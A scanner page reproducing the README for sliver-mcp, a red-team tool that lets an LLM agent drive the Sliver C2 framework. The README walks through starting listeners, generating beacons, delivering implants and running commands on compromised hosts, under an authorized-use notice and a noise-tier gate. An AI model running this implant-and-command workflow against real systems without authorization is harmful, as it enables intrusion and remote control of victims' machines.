Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
███████╗██╗ ██╗██╗ ██╗███████╗██████╗ ███╗ ███╗ ██████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ ████╗ ████║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝████╗██╔████╔██║██║ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚═══╝██║╚██╔╝██║██║ ██╔═══╝
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ ██║ ╚═╝ ██║╚██████╗██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝
drive the Sliver C2 operator surface from an AI agent
A Model Context Protocol server for the Sliver C2 framework. It exposes the Sliver operator surface — listeners, implant/beacon generation, sessions and beacons, command execution, file operations, and a structured handoff — as mcp__sliver__* tools an LLM agent can drive.
It is the C2 layer of the AI-offsec stack, built to slot in alongside the p0rtix (recon) and Metasploit (exploitation) MCP servers and orchestrated by the dagar-red skill system. It mirrors their conventions: Python + FastMCP, async tools, structured-dict returns, and a noise / arm_dangerous safety gate.
⚠️ Authorized use only. This drives a live C2 framework. Use it only against infrastructure you own or are explicitly authorized to test — owned labs, CTFs, and contracted engagements. It is built for adversary emulation: standing up realistic C2 so defenders can test and improve detection and response. The noise tiers and the arm_dangerous gate exist to keep operation deliberate and in scope.⚡ Quick start
# install
git clone [email protected]:v0idravl/sliver-mcp.git && cd sliver-mcp
python3 -m venv venv && ./venv/bin/pip install -e .
# register with Claude Code (see below), then in-agent:
connect() # attach to your team server
set_noise("yellow") # allow actions that touch a host
start_https_listener(port=443)
generate_beacon(c2_host="<redirector>", os="windows")
# … deliver the beacon, then …
poll_events(); list_sessions(); execute_command(id, "whoami")Requires Python ≥ 3.11 and a reachable Sliver team server with an operator config (.cfg). See docs/live-test.md for standing up a local server and generating one.
🧠 How it relates to Sliver's built-in MCP
Sliver ships an experimental built-in MCP, but it is filesystem-only (≈11 tools: fs_ls, fs_cat, fs_rm, …). sliver-mcp is a superset focused on the full operator workflow — listeners, payload generation, sessions/beacons, execution, and cross-tool handoff — so an agent can run an engagement end to end.
🔌 Register with Claude Code
Add to ~/.claude.json (or via claude mcp add). Point SLIVER_CONFIG at your operator config:
"sliver": {
"type": "stdio",
"command": "/home/youruser/projects/sliver-mcp/venv/bin/sliver-mcp",
"args": [],
"env": { "SLIVER_CONFIG": "/home/youruser/.sliver-client/configs/operator.cfg" }
}The server starts whether or not the team server is up — call connect() first; tools that need a live client return a structured "not connected" error until it succeeds.
🧰 Tool surface (mcp__sliver__*)
| Category | Tools | What they do |
|---|---|---|
| Connection / state | connect, status, get_version, poll_events, disconnect | attach to the team server, check health, drain the async event queue (new callbacks, task results) |
| Listeners | start_https_listener, start_http_listener, start_mtls_listener, start_dns_listener, start_wg_listener, list_jobs, kill_job | stand up / tear down C2 listeners across protocols |
| Implant generation | generate_implant, generate_beacon, list_implant_builds, list_implant_profiles, regenerate_implant | build session implants and async beacons; reuse profiles and prior builds |
| Sessions / beacons | list_sessions, list_beacons, session_info, beacon_info, kill_session, kill_beacon | enumerate and inspect callbacks; retire them |
| Execution | execute, execute_command, get_beacon_tasks | run a binary / run a shell command on a session or beacon; poll a beacon's queued/completed tasks |
| File operations | ls, pwd, cd, mkdir, download, upload, rm | navigate and move files on the target |
| Pivots | list_pivots | enumerate pivot listeners on a session |
| Handoff | export_handoff, ingest_handoff | exchange C2 state with the rest of the stack |
| Safety | set_noise, arm_dangerous | raise the noise ceiling / unlock destructive actions |
🚦 Safety / noise model
Every tool carries a noise tier. A call above the current ceiling is refused with a structured reason — never silently downgraded.
| Tier | Meaning | Examples |
|---|---|---|
passive | read-only state | status, list_sessions, export_handoff |
green | build / stand up our own infra | listeners, generate_*, ls, download |
yellow | actions that touch the target | execute, upload, kill_session |
red | destructive | rm (also requires arm_dangerous()) |
The default ceiling is green: call set_noise("yellow") before running commands on a host (the sliver-ops loop does this explicitly), and arm_dangerous() to unlock rm.
🔁 Typical loop
connect()
set_noise("yellow")
start_https_listener(port=443, domain="<redirector>")
generate_beacon(c2_host="<redirector>", os="windows", interval=60, jitter=30)
# … deliver the beacon — see docs/delivery.md for session-safe detachment …
poll_events() # watch for the callback
list_sessions()
execute_command(target_id, "whoami")
export_handoff() # feed C2 state back to internal-dispatchBeacons vs sessions
execute and the file tools accept either a session id (interactive, low latency) or a beacon id (asynchronous — the result returns after the next check-in, every interval ± jitter seconds). Use poll_events() to watch for new callbacks and task completion.
For a beacon, if the next check-in does not arrive within SLIVER_TASK_TIMEOUT (default 300s), execute / execute_command return a structured status instead of a bare timeout error: task_state="queued" (the task is pending and will run on the next check-in, with next_checkin timing) or task_state="dead" (the beacon is gone). Poll get_beacon_tasks(beacon_id) to see whether a queued task has since been picked up.
⚠️ Known limitations (v1)
These reflect the current sliver-py surface, not the design:
- No client-side SOCKS / port-forward tunnels. sliver-py does not implement the tunnel
streaming, so only list_pivots is exposed. Use the Sliver console for socks/portfwd.
- No interactive PTY shell. A streaming PTY can't be a single request/response tool;
execute_command covers command execution.
- No `cp` / `chmod` / `chown` and no loot/creds store — not in sliver-py's base command set.
Planned once upstream exposes them.
🩹 Troubleshooting
| Symptom | Fix |
|---|---|
| Every tool returns "not connected" | Call connect() first. The server starts without the team server; tools needing a live client wait for a successful connect. |
connect() fails | Check SLIVER_CONFIG points at a valid operator .cfg, and that the team server is reachable (host/port in the config). See docs/live-test.md. |
| A call is "refused: above noise ceiling" | Raise it deliberately: set_noise("yellow") for target-touching actions, arm_dangerous() for rm. |
| No callback after delivery | poll_events() drains the async queue; beacons only report on the next interval ± jitter check-in. |
| Need SOCKS / portfwd | Not exposed (see limitations) — use the Sliver console for now. |
🧪 Tests
./venv/bin/pip install -e '.[dev]'
./venv/bin/pytest # 64 tests, no live server requiredThe suite mocks sliver-py, so it is green on a clean machine. For a live end-to-end smoke test, see docs/live-test.md.
License
MIT. See LICENSE.